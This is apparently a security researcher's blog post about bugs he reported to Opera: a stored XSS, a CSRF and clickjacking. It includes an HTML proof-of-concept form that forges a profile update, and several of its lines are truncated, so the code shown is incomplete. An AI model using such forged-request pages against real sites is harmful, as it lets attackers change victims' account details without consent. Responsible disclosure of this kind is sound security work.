I reported few vulnerabilities to opera including a Stored XSS, CSRF and a clickjacking vulnerability. The POC's for the vulnerabilities are as follows:
Stored XSS
The "Username" input was not being sanitized properly, Which resulted in an execution of javascript.
CSRF POC
The form was missing with CSRF tokens, An attacker could have used a CSRF attack in order to manipulate the form details.
POC
<body>
<form action="https://apps.opera.
<input type="hidden" name="email" value="rafaybaloch@gmail&#
<input type="hidden" name="name" value="Rafay Baloch" />
<input type="hidden" name="address1" value="f-10,afasf 
<input type="hidden" name="address2" value="" />
<input type="hidden" name="city" value="Karachi" />
<input type="hidden" name="state" value="" />
<input type="hidden" name="country" value="PK" />
<input type="hidden" name="zip" value="44000" />
<input type="hidden" name="phone" value="+923333333333" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Opera Hall Of Fame
So, For my findings, Opera listed my name under their hall of fame:
Gift from Opera
As a token of appreciation, they also send me the following gifts:
